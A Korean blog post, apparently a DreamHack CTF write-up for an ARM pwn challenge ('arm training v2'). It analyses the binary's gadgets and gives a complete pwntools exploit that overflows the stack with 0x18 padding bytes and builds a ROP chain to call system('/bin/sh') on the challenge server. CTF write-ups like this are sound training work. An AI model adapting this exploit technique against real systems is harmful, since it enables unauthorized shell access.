1 바이너리 분석
1) main 함수
v1 과 동일하며, code영역의 가젯 주소 필요
2) gadget 1 함수
==> system(id)를 실행
3) gadget 2 함수
- r11(FP) 을 sp + 4로 설정하여 프레임 포인터 초기화
- ldr(load register) 특정 메모리주소로 부터 데이터를 로드하여 레지스터에 저장
=> DAT_000105cc 의 주소 값 r3 에 저장
=> r3의 offset 0x0 만큼의 주소값을 r3의 값으로 저장
- r3의 값을 r0 에 저장
- puts(r0) r0 주소의 값 /bin/sh 을 출력
2. 공격 시나리오
- 0x18 바이트 만큼 더미 값 입력
- 리턴주소에 pop {r3, pc} 의 주소를 덮어 r3 값 조작
> ROP Chain
>> code 영역의 가젯들을 조합하여 system("bin/sh") 실행 목적
>> 우선 r0 레지서터를 pop 하여 system() 함수 호출부로 이동할수 있음 그러나 결과 다음과 같음
$ ROPgadget --binary ./arm_training-v2 | grep ": pop {r0"
>> 다른 방법 생각 r0에 대압하는 r3 값 조작
- system() 함수 호출 시 bin/sh 문자열로 호출
3. 익스플로잇 코드
from pwn import *
p = remote('host3.dreamhack.games', 23099)
pop_r3_pc = 0x103c0
//pop r3 address
system = 0x10598
//system 호출 address
binsh = 0x106a4
//bin/sh 문자열 저장 address
payload = b'A'*0x18
// 0x18바이트 채우고
payload += p32(pop_r3_pc)
//r3 호출 시
payload += p32(binsh)
// r3에 /bin/sh 문자열로
payload += p32(system)
// system 함수 호출
p.send(payload)
p.interactive()
'Hacking > DreamHack' 카테고리의 다른 글
Stupid GCC (0) | 2024.05.22 |
---|---|
textbook-des__crypto (1) | 2024.05.07 |
arm training v1 (pwn) (0) | 2024.05.07 |
no mov (1) | 2024.04.24 |
uaf_overwrite (1) | 2024.04.09 |